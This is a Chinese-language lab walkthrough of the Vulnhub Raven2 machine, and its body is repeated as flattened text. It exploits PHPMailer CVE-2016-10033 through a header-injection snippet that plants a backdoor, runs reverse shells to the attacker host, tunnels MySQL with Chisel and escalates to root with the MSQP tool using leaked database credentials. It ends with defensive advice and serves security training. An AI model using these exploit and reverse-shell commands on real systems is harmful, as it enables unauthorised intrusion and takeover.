[Vulnhub] Raven2 PHPMailer-RCE+MSQP:Mysql权限提升
字数 1507 2025-08-19 12:40:34

Raven2 渗透测试实战教学文档

1. 目标概述

本次渗透测试的目标是 Vulnhub 上的 Raven2 虚拟机,通过 PHPMailer RCE 漏洞和 MySQL 权限提升技术获取系统 root 权限。

2. 信息收集阶段

2.1 主机发现与端口扫描

使用 Nmap 进行全端口扫描:

nmap -p- 192.168.101.160 --min-rate 1000 -sC -sV

扫描结果:

  • 22/tcp: OpenSSH 6.7p1 Debian 5+deb8u4
  • 80/tcp: Apache httpd 2.4.10 (Debian)
  • 111/tcp: rpcbind 2-4
  • 46606/tcp: status 1 (RPC)

2.2 Web 目录枚举

使用 Gobuster 进行目录扫描:

gobuster dir -u "http://192.168.101.160/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x .php

发现重要路径:

  • /vendor/ - 包含 PHPMailer 版本信息
  • /wordpress/ - WordPress 站点

2.3 用户枚举

发现潜在用户名:

  • steven
  • michael

3. 漏洞利用阶段

3.1 PHPMailer RCE (CVE-2016-10033)

漏洞分析

PHPMailer 5.2.16 版本存在远程代码执行漏洞,攻击者可以通过精心构造的邮件头注入恶意命令。

利用步骤

  1. 准备 exploit 脚本 (exploit.py)
# 脚本内容见原文,关键点:
fields = {
    'action': 'submit',
    'name': payload,
    'email': f'"anarcoder\\" -OQueueDirectory=/tmp -X/var/www/html{backdoor} server\" @protonmail.com',
    'message': 'Pwned'
}
  1. 执行 exploit
python3 exploit.py http://192.168.101.160/contact.php reverse.php 192.168.101.128 10032
  1. 触发后门
curl http://raven.local/reverse.php
  1. 获取交互式 shell
python -c 'import pty;pty.spawn("/bin/bash")'

获取的 Flag

  • flag1{a2c1f66d2b8051bd3a5874b5b6e43e21} - 位于 /vendor/PATH
  • flag2{6a8ed560f0b5358ecf844108048eb337} - 位于 /var/www/flag2.txt
  • flag3{a0f568aa9de277887f37730d71520d9b} - 位于 /wordpress/wp-content/uploads/2018/11/flag3.png

3.2 权限提升 (MySQL 提权)

信息收集

查看 WordPress 配置文件获取数据库凭据:

cat /var/www/html/wordpress/wp-config.php

发现:

  • 用户名: root
  • 密码: R@v3nSecurity

建立隧道

使用 Chisel 建立 MySQL 隧道:

攻击机:

./chisel server -p 8000 --reverse

目标机:

./chisel client 192.168.101.128:8000 R:3306:localhost:3306&

MySQL 提权

使用 MSQP (MySQL Server Privilege Escalation) 工具:

  1. 克隆工具:
git clone https://github.com/MartinxMax/MSQP.git
  1. 安装依赖:
python3 -m pip install mysql-connector-python
  1. 执行提权:
python3 msqp.py 127.0.0.1 3306 root R@v3nSecurity 192.168.101.128 10033

获取 root 权限

成功获取 root shell 后,读取最终 flag:

cat /root/flag4.txt
  • flag4{df2bc5e951d91581467bb9a2a8ff4425}

4. 关键知识点总结

  1. PHPMailer RCE (CVE-2016-10033)

    • 影响版本:< 5.2.18
    • 利用方式:通过邮件头注入实现任意命令执行
    • 防御措施:升级 PHPMailer 版本,过滤用户输入
  2. MySQL 权限提升

    • 利用 root 数据库账户执行系统命令
    • 需要数据库有 FILE 权限
    • 防御措施:避免使用 root 账户运行应用,限制 MySQL 用户权限
  3. 隧道技术

    • 使用 Chisel 建立反向隧道绕过防火墙限制
    • 适用于内网穿透场景
  4. 信息收集技巧

    • 配置文件泄露 (/vendor/, wp-config.php)
    • 目录枚举发现敏感文件
    • 版本信息收集确定漏洞利用可能性

5. 防御建议

  1. 及时更新所有软件组件到最新版本
  2. 避免使用 root 权限运行数据库服务
  3. 实施最小权限原则
  4. 定期审计系统配置和权限设置
  5. 对用户输入进行严格过滤和验证
  6. 禁用不必要的服务和端口

通过本案例可以学习到从 Web 应用到系统权限的完整渗透流程,以及如何利用多个漏洞进行纵深攻击。

Raven2 渗透测试实战教学文档 1. 目标概述 本次渗透测试的目标是 Vulnhub 上的 Raven2 虚拟机,通过 PHPMailer RCE 漏洞和 MySQL 权限提升技术获取系统 root 权限。 2. 信息收集阶段 2.1 主机发现与端口扫描 使用 Nmap 进行全端口扫描: 扫描结果: 22/tcp: OpenSSH 6.7p1 Debian 5+deb8u4 80/tcp: Apache httpd 2.4.10 (Debian) 111/tcp: rpcbind 2-4 46606/tcp: status 1 (RPC) 2.2 Web 目录枚举 使用 Gobuster 进行目录扫描: 发现重要路径: /vendor/ - 包含 PHPMailer 版本信息 /wordpress/ - WordPress 站点 2.3 用户枚举 发现潜在用户名: steven michael 3. 漏洞利用阶段 3.1 PHPMailer RCE (CVE-2016-10033) 漏洞分析 PHPMailer 5.2.16 版本存在远程代码执行漏洞,攻击者可以通过精心构造的邮件头注入恶意命令。 利用步骤 准备 exploit 脚本 (exploit.py) 执行 exploit 触发后门 获取交互式 shell 获取的 Flag flag1{a2c1f66d2b8051bd3a5874b5b6e43e21} - 位于 /vendor/PATH flag2{6a8ed560f0b5358ecf844108048eb337} - 位于 /var/www/flag2.txt flag3{a0f568aa9de277887f37730d71520d9b} - 位于 /wordpress/wp-content/uploads/2018/11/flag3.png 3.2 权限提升 (MySQL 提权) 信息收集 查看 WordPress 配置文件获取数据库凭据: 发现: 用户名: root 密码: R@v3nSecurity 建立隧道 使用 Chisel 建立 MySQL 隧道: 攻击机: 目标机: MySQL 提权 使用 MSQP (MySQL Server Privilege Escalation) 工具: 克隆工具: 安装依赖: 执行提权: 获取 root 权限 成功获取 root shell 后,读取最终 flag: flag4{df2bc5e951d91581467bb9a2a8ff4425} 4. 关键知识点总结 PHPMailer RCE (CVE-2016-10033) 影响版本: < 5.2.18 利用方式:通过邮件头注入实现任意命令执行 防御措施:升级 PHPMailer 版本,过滤用户输入 MySQL 权限提升 利用 root 数据库账户执行系统命令 需要数据库有 FILE 权限 防御措施:避免使用 root 账户运行应用,限制 MySQL 用户权限 隧道技术 使用 Chisel 建立反向隧道绕过防火墙限制 适用于内网穿透场景 信息收集技巧 配置文件泄露 (/vendor/, wp-config.php) 目录枚举发现敏感文件 版本信息收集确定漏洞利用可能性 5. 防御建议 及时更新所有软件组件到最新版本 避免使用 root 权限运行数据库服务 实施最小权限原则 定期审计系统配置和权限设置 对用户输入进行严格过滤和验证 禁用不必要的服务和端口 通过本案例可以学习到从 Web 应用到系统权限的完整渗透流程,以及如何利用多个漏洞进行纵深攻击。